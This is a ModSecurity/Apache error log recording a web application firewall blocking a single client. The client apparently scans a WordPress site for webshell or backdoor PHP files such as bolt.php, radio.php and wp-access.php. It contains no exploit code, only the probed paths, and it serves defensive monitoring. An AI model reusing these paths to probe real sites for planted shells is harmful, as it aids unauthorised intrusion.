[Wed Apr 15 21:54:25.950216 2026] [:error] [pid 30958:tid 31034] [client 172.161.107.89:57577] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad-YkceG3wSKTO7NWFHTQQAAANI"]
[Wed Apr 15 21:54:26.715877 2026] [:error] [pid 23913:tid 23936] [client 172.161.107.89:36238] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad-YklUaK3MLdSaLOyi1mwAAAVU"]
[Wed Apr 15 21:54:27.682660 2026] [:error] [pid 37370:tid 37384] [client 172.161.107.89:49924] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad-Yk3g-gnM2Ga0cGACInwAAAQw"]
[Wed Apr 15 21:54:28.347360 2026] [:error] [pid 30958:tid 31031] [client 172.161.107.89:52954] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "ad-YlMeG3wSKTO7NWFHTRQAAAM8"]
[Wed Apr 15 21:54:29.029813 2026] [:error] [pid 37370:tid 37373] [client 172.161.107.89:37883] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "ad-YlXg-gnM2Ga0cGACIpwAAAQE"]
[Wed Apr 15 21:54:29.716985 2026] [:error] [pid 31053:tid 31076] [client 172.161.107.89:57595] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "ad-YlRcEkLCmvF0fjDcSggAAAJQ"]
[Wed Apr 15 21:54:30.726865 2026] [:error] [pid 23913:tid 23930] [client 172.161.107.89:65321] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "ad-YllUaK3MLdSaLOyi1nwAAAU8"]
[Wed Apr 15 21:54:31.253480 2026] [:error] [pid 23913:tid 23937] [client 172.161.107.89:43080] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "ad-Yl1UaK3MLdSaLOyi1ogAAAVY"]
[Wed Apr 15 21:54:31.866246 2026] [:error] [pid 37370:tid 37388] [client 172.161.107.89:39653] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "ad-Yl3g-gnM2Ga0cGACIsAAAARA"]
[Wed Apr 15 21:54:32.517063 2026] [:error] [pid 23913:tid 23928] [client 172.161.107.89:62134] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "ad-YmFUaK3MLdSaLOyi1qAAAAU0"]
[Wed Apr 15 21:54:33.149859 2026] [:error] [pid 31053:tid 31062] [client 172.161.107.89:52961] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "ad-YmRcEkLCmvF0fjDcSkQAAAIY"]
[Wed Apr 15 21:54:33.829536 2026] [:error] [pid 23913:tid 23917] [client 172.161.107.89:37126] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "ad-YmVUaK3MLdSaLOyi1rAAAAUI"]
[Wed Apr 15 21:54:34.572097 2026] [:error] [pid 31053:tid 31075] [client 172.161.107.89:56547] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "ad-YmhcEkLCmvF0fjDcSlgAAAJM"]
[Wed Apr 15 21:54:35.594181 2026] [:error] [pid 31053:tid 31062] [client 172.161.107.89:62095] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "ad-YmxcEkLCmvF0fjDcSmgAAAIY"]
[Wed Apr 15 21:54:36.266388 2026] [:error] [pid 30958:tid 31018] [client 172.161.107.89:59493] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "ad-YnMeG3wSKTO7NWFHTSQAAAMI"]
[Wed Apr 15 21:54:36.913435 2026] [:error] [pid 30958:tid 31040] [client 172.161.107.89:58050] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad-YnMeG3wSKTO7NWFHTSgAAANg"]
[Wed Apr 15 21:54:38.038799 2026] [:error] [pid 23913:tid 23929] [client 172.161.107.89:53776] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad-YnlUaK3MLdSaLOyi1tAAAAU4"]
[Wed Apr 15 21:54:38.686049 2026] [:error] [pid 37370:tid 37396] [client 172.161.107.89:62804] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad-Ynng-gnM2Ga0cGACItQAAARg"]
[Wed Apr 15 21:54:39.248668 2026] [:error] [pid 37370:tid 37384] [client 172.161.107.89:38272] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad-Yn3g-gnM2Ga0cGACItwAAAQw"]
[Wed Apr 15 21:54:39.813136 2026] [:error] [pid 31053:tid 31059] [client 172.161.107.89:45415] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "ad-YnxcEkLCmvF0fjDcSvAAAAIM"]
[Wed Apr 15 21:54:40.418153 2026] [:error] [pid 31053:tid 31057] [client 172.161.107.89:48758] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "ad-YoBcEkLCmvF0fjDcSwAAAAIE"]
[Wed Apr 15 21:54:40.985270 2026] [:error] [pid 30957:tid 31011] [client 172.161.107.89:58059] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "ad-YoH5gwVEVXHfVSiqsnAAAAFY"]
[Wed Apr 15 21:54:41.716900 2026] [:error] [pid 23913:tid 23920] [client 172.161.107.89:38335] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "ad-YoVUaK3MLdSaLOyi1vAAAAUU"]
[Wed Apr 15 21:54:42.446165 2026] [:error] [pid 23913:tid 23926] [client 172.161.107.89:48744] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad-YolUaK3MLdSaLOyi1vwAAAUs"]
[Wed Apr 15 21:54:43.184986 2026] [:error] [pid 30957:tid 30996] [client 172.161.107.89:38300] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad-Yo35gwVEVXHfVSiqsnwAAAEc"]
[Wed Apr 15 21:54:44.160780 2026] [:error] [pid 23913:tid 23922] [client 172.161.107.89:48728] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad-YpFUaK3MLdSaLOyi1xAAAAUc"]
[Wed Apr 15 21:54:44.984326 2026] [:error] [pid 30957:tid 30998] [client 172.161.107.89:38280] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad-YpH5gwVEVXHfVSiqspgAAAEk"]
[Wed Apr 15 21:54:46.418537 2026] [:error] [pid 23913:tid 23921] [client 172.161.107.89:38310] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "ad-YplUaK3MLdSaLOyi1ygAAAUY"]
[Wed Apr 15 21:54:47.198748 2026] [:error] [pid 37370:tid 37387] [client 172.161.107.89:48705] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "ad-Yp3g-gnM2Ga0cGACIwAAAAQ8"]
[Wed Apr 15 21:54:48.273807 2026] [:error] [pid 23913:tid 23936] [client 172.161.107.89:58562] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "ad-YqFUaK3MLdSaLOyi10gAAAVU"]
[Wed Apr 15 21:54:49.076141 2026] [:error] [pid 31053:tid 31079] [client 172.161.107.89:46122] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "ad-YqRcEkLCmvF0fjDcTAgAAAJc"]
[Wed Apr 15 21:54:50.080388 2026] [:error] [pid 31053:tid 31070] [client 172.161.107.89:51198] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php"] [unique_id "ad-YqhcEkLCmvF0fjDcTBgAAAI4"]
[Wed Apr 15 21:54:51.586815 2026] [:error] [pid 23913:tid 23930] [client 172.161.107.89:38312] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php"] [unique_id "ad-Yq1UaK3MLdSaLOyi15QAAAU8"]
[Wed Apr 15 21:54:52.732676 2026] [:error] [pid 37370:tid 37391] [client 172.161.107.89:58610] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php"] [unique_id "ad-YrHg-gnM2Ga0cGACIxwAAARM"]
[Wed Apr 15 21:54:53.571152 2026] [:error] [pid 30958:tid 31018] [client 172.161.107.89:58604] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php"] [unique_id "ad-YrceG3wSKTO7NWFHTbgAAAMI"]
[Wed Apr 15 21:54:56.199783 2026] [:error] [pid 30957:tid 31012] [client 172.161.107.89:49551] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "ad-YsH5gwVEVXHfVSiqsswAAAFc"]
[Wed Apr 15 21:54:57.438292 2026] [:error] [pid 30957:tid 31008] [client 172.161.107.89:1294] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "ad-YsX5gwVEVXHfVSiqsuAAAAFM"]
[Wed Apr 15 21:54:59.640501 2026] [:error] [pid 31053:tid 31074] [client 172.161.107.89:44400] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "ad-YsxcEkLCmvF0fjDcTIgAAAJI"]
[Wed Apr 15 21:55:01.707253 2026] [:error] [pid 23913:tid 23930] [client 172.161.107.89:42581] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "ad-YtVUaK3MLdSaLOyi19AAAAU8"]
[Wed Apr 15 21:55:02.876010 2026] [:error] [pid 31053:tid 31059] [client 172.161.107.89:45427] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/900.php"] [unique_id "ad-YthcEkLCmvF0fjDcTMAAAAIM"]
[Wed Apr 15 21:55:05.218907 2026] [:error] [pid 23913:tid 23915] [client 172.161.107.89:51175] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/900.php"] [unique_id "ad-YuVUaK3MLdSaLOyi2AAAAAUA"]
[Wed Apr 15 21:55:07.719913 2026] [:error] [pid 23913:tid 23917] [client 172.161.107.89:52084] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/900.php"] [unique_id "ad-Yu1UaK3MLdSaLOyi2CgAAAUI"]
[Wed Apr 15 21:55:26.642007 2026] [:error] [pid 23913:tid 23921] [client 172.161.107.89:42621] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "ad-YzlUaK3MLdSaLOyi2RwAAAUY"]
[Wed Apr 15 21:55:29.304584 2026] [:error] [pid 31053:tid 31077] [client 172.161.107.89:51197] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "ad-Y0RcEkLCmvF0fjDcTkgAAAJU"]
[Wed Apr 15 21:55:31.118574 2026] [:error] [pid 31053:tid 31073] [client 172.161.107.89:57780] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "ad-Y0xcEkLCmvF0fjDcTogAAAJE"]
[Wed Apr 15 21:55:37.133109 2026] [:error] [pid 31053:tid 31061] [client 172.161.107.89:51160] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "ad-Y2RcEkLCmvF0fjDcT6gAAAIU"]
[Wed Apr 15 21:55:38.845778 2026] [:error] [pid 31053:tid 31067] [client 172.161.107.89:52052] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "ad-Y2hcEkLCmvF0fjDcT_AAAAIs"]
[Wed Apr 15 21:55:41.366281 2026] [:error] [pid 31053:tid 31062] [client 172.161.107.89:64466] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "ad-Y3RcEkLCmvF0fjDcUEQAAAIY"]
[Wed Apr 15 21:55:45.321403 2026] [:error] [pid 30958:tid 31029] [client 172.161.107.89:55072] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "ad-Y4ceG3wSKTO7NWFHTuAAAAM0"]
[Wed Apr 15 21:55:46.910844 2026] [:error] [pid 30958:tid 31022] [client 172.161.107.89:46606] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "ad-Y4seG3wSKTO7NWFHTuwAAAMY"]
[Wed Apr 15 21:55:48.275020 2026] [:error] [pid 31053:tid 31065] [client 172.161.107.89:59731] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "ad-Y5BcEkLCmvF0fjDcUOwAAAIk"]
[Wed Apr 15 21:55:50.537338 2026] [:error] [pid 30956:tid 30970] [client 172.161.107.89:1396] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "ad-Y5kBGUpjaWntNYq2V0AAAAAo"]
[Wed Apr 15 21:55:52.332976 2026] [:error] [pid 30957:tid 30998] [client 172.161.107.89:45320] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "ad-Y6H5gwVEVXHfVSiqtAwAAAEk"]
[Wed Apr 15 21:55:53.887781 2026] [:error] [pid 30957:tid 30996] [client 172.161.107.89:54290] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "ad-Y6X5gwVEVXHfVSiqtEQAAAEc"]
[Wed Apr 15 21:55:55.744033 2026] [:error] [pid 23913:tid 23929] [client 172.161.107.89:55799] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "ad-Y61UaK3MLdSaLOyi2YAAAAU4"]
